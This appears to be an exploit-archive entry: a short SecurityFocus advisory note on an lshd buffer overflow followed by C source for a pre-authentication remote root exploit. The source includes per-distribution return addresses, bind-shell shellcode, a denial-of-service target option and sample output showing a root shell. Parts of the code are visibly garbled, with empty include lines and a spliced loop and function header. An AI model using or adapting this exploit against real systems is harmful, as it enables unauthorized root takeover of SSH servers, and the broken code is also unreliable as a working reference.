// source: https://www.securityfocus.com/bid/8655/info lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon. /* m00-lshd22.c * * lshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru * * Binds shell on port 61200. * Based on lsh_exploit.c by Haggis aka Carl Livitt // doris.scriptkiddie.net * * Available targets: * SuSE 8.1 - LSH v1.4 (heap) * RedHat 7.3 - LSH v1.3.* (stack) * RedHat 7.3 - LSH v1.4 (heap) * RedHat 7.3 - LSH v1.4 (stack) * RedHat 8.0 - LSH v1.4 (heap) * RedHat 9.0 - LSH v1.4 (heap) * RedHat 9.0 - LSH v1.4 (stack) * Mandrake 9.0 - LSH v1.4 (stack) * Mandrake 9.1 - LSH v1.3.* (heap) * Mandrake 9.1 - LSH v1.3.* (heap) * Mandrake 9.1 - LSH v1.3.* (stack) * Mandrake 9.1 - LSH v1.4 (heap) * Mandrake 9.1 - LSH v1.4 (stack) * Mandrake 9.1 - LSH v1.5 (heap) * Mandrake 9.1 - LSH v1.5 (stack) * * Difference between heap and stack RET-addresses: * Useing heap retaddr allows to bypass non-execute stack protection, * but possibility of success exploitation is only about 30% :( cuz our * data in heap doesn't have constant disposition. * Stack r0cz ;D * * Testing: * sh-2.05b$ ./explshd localhost 12 * * lshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru * * [~] Connecting to localhost:22... OK * [~] Waiting for lshd response... OK * => SSH-2.0-lshd_1.4.2 lsh - a free ssh * [~] Building and sending exploit buffer... OK * [~] Sleeping... * [~] Trying to connect to bindshell... OK * [+] Shell spawned! w00t!!! * * uid=0(root) gid=0(root) groups=0(root) * Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 unknown unknown GNU/Linux * 20:29:44 up 2:29, 3 users, load average: 0.04, 0.09, 0.11 * * Greets to: * - nerF security team // www.nerf.ru * - LimpidByte // lbyte.sysdrop.org * - priv8security (especially to wsxz =)) // www.priv8security.com * - UHAGr // www.uhagr.com * - ech0 // x25.cc * - ppl from EFnet@m00sec and #nerf * * Authors: * - Over_G // overg[at]mail.ru * - d4rkgr3y // d4rk[at]securitylab.ru * * Released 29/09/03 // www.m00.ru */ #include #include #include struct { char *platform; unsigned long ret; int elen; int nlen; } targets[]= { { "SuSE 8.1 - LSH v1.4 (heap)", 0x0809f030, 1536, 1600}, { "RedHat 7.3 - LSH v1.3.* (stack)", 0xbffff07c, 876, 726}, // tested on 1.4.2 rpm { "RedHat 7.3 - LSH v1.4 (heap)", 0x0809d620, 1536, 1600}, { "RedHat 7.3 - LSH v1.4 (stack)", 0xbfffc710, 876, 726}, // tested on 1.4.2 rpm { "RedHat 8.0 - LSH v1.4 (heap)", 0x0809a9d8, 4000, 1024}, { "RedHat 9.0 - LSH v1.4 (heap)", 0x0809a0ee, 876, 726}, { "RedHat 9.0 - LSH v1.4 (stack)", 0xbfffc48c, 876, 726}, // tested on 1.4.2 rpm // { "Mandrake 8.2 - LSH v1.4 (stack)", 0x00000000, 0, 0}, // non-exploitable { "Mandrake 9.0 - LSH v1.4 (stack)", 0xbfffc5b1, 876, 726}, // tested on 1.4.2 src { "Mandrake 9.1 - LSH v1.3.* (heap)", 0x809bc90, 3500, 500}, { "Mandrake 9.1 - LSH v1.3.* (heap)", 0x809bc90, 3500, 500}, { "Mandrake 9.1 - LSH v1.3.* (stack)", 0xbffff07c, 3500, 500}, // tested on 1.3.2 rpm { "Mandrake 9.1 - LSH v1.4 (heap)", 0x080a5660, 876, 726}, { "Mandrake 9.1 - LSH v1.4 (stack)", 0xbfffc5cc, 876, 726}, // tested on 1.4.2 src { "Mandrake 9.1 - LSH v1.5 (heap)", 0x80a8540, 1536, 1600}, { "Mandrake 9.1 - LSH v1.5 (stack)", 0xbfffe1cc, 1536, 1600}, // tested on 1.5.57 rpm { "Denial-of-Service attack", 0xdefaced, 3000, 500}, NULL }; // linux x86 shellcode by eSDee of Netric (www.netric.org) char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x51\xb1" "\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80" "\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xef\x10\xb3\x02\x66" "\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66" "\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50" "\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31" "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57" "\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02" "\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0" "\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80" "\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31" "\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd" "\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; struct hostent *hostSct; char buf[0x7a69]="\0"; main(int argc, char **argv) { int sock,ch,i,ss,targetSock; unsigned long *retPtr; char *charRetPtr; int port = 22; printf("\nlshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru\n\n"); if (argc < 3) { printf("Incorrect parameters. Usage: %s [port (22 default)]\n\nWhere 'target type' is:\n\n",argv[0]); for(i=0;targets[i].platform;i++) { printf("\r%i %s\n", i, targets[i].platform); } printf("\n"); exit(0); } else { ss = atoi(argv[2]); if(argv[3]) { port = atoi(argv[3]); } } if((hostSct=gethostbyname(argv[1]))==NULL) { printf("[-] Couldn't resolve host %s\n", argv[1]); exit(1); } printf("[~] Connecting to %s:%i...", argv[1],port); if((targetSock=connect_to_host(port))==-1) { printf(" failed\n"); exit(1); } printf(" OK\n"); printf("[~] Waiting for lshd response... "); recv(targetSock, buf, 8095, 0); printf(" OK\n"); printf("=> %s",buf); printf("[~] Building and sending exploit buffer..."); retPtr=(unsigned long *)buf; for(i=0;ih_addr_list[0]); saddr.sin_port=htons(port); if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) { close(sockt); return -1; } else return sockt; } // m00000000000oooooooooooooooo